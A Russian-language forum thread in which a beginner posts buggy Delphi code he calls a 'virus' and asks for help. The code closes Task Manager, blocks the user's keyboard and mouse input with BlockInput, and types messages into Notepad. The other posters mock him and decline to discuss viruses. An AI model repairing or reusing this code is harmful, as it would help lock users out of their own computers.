Помогите, я-начинающий програмист!

[Kulok]

Вот, зделал небольшой проект, помогите понять в чем здесь проблема!!!

unit Unit9;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls,ShellApi;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Timer2: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }
    i:integer;
    messages:array[0..7] of pchar;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;i:integer;

implementation

{$R *.dfm}

procedure BlockInput(fBlockIt : boolean); stdcall; external 'USER32.DLL';
begin
ShellExecute(Application.Handle,'open','c:\windows\notepad.exe',nil,nil,SW_MAXIMIZE);
i:=0;
messages[0]:='ххх';
messages[1]:='ххх';
messages[2]:='ххх ';
messages[3]:='ххх';
messages[4]:='ххх';
messages[5]:='ххх';
messages[6]:='ххх';
messages[7]:='ххх';
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
wnd:hwnd;
begin
wnd:=findwindow(nil,'Диспетчер задач Windows');
if (wnd<> 0) then
begin
sendmessage(wnd,wm_destroy,0,0);
end;
BlockInput(true);
end;
 procedure TForm1.Timer2Timer(Sender: TObject);
 var
 wnd; wnd1:hwnd;
 dc:hdc;
 j:integer;
 begin
 wnd:=findwindow(nil, 'Безымянный-блокнот');
 if wnd <> 0 then begin
 wnd1:=findwindowex(wnd, 0, 'edit', nil);
 dc:=getdc(wnd1);
 for j := 0 to length(messages[i]) do
 begin
 textout(dc,1,i*15,messages[i],j);
 sleep(100);
 end;
 timer2.Interval:=5000;
 inc(i);
 if i>8 then
 begin
 timer2.Enabled:=false;
 sendmessage(wnd,wm_destroy,0,0);
 BlockInput(false);
 Form1.Close;
 end;
 end;
 end;
 end.

Ето типа вирус... Если поможете - буду благадарен!!

[WinCoder]

Если поможете - буду благадарен!!

Офигенная мотивация.

[zvygin1964]

Нихрена! Начинающий? А тогда я кто?

[Stilet]

понять в чем здесь проблема

А как она проявляет себя?

[Вадим Мошев]

Ето типа вирус

Вирусы не обсуждаем.

[kta87]

Сообщение от Stilet

А как она проявляет себя?

Видимо болит, не?

[Stilet]

Видимо болит, не?

Не исключено )
Вирусы всегда болят.

[Вадим Мошев]

Сообщение от Stilet

Не исключено )
Вирусы всегда болят.

Поэтому их лечат

[WinCoder]

Возможно я ошибаюсь, но ВОЗМОЖНО речь о очередном неадекватном антивирусе, который в EXE видит вирусы (было). Надо бы прочитать лекцию на тему, почему антивирус, это .... и где ему место, но мне откровенно лень.

[Вадим Мошев]

Сообщение от WinCoder

Возможно я ошибаюсь, но ВОЗМОЖНО речь о очередном неадекватном антивирусе, который в EXE видит вирусы (было). Надо бы прочитать лекцию на тему, почему антивирус, это .... и где ему место, но мне откровенно лень.

Ваш кому адресован? Автор в начале говорил, что он пишет вирус.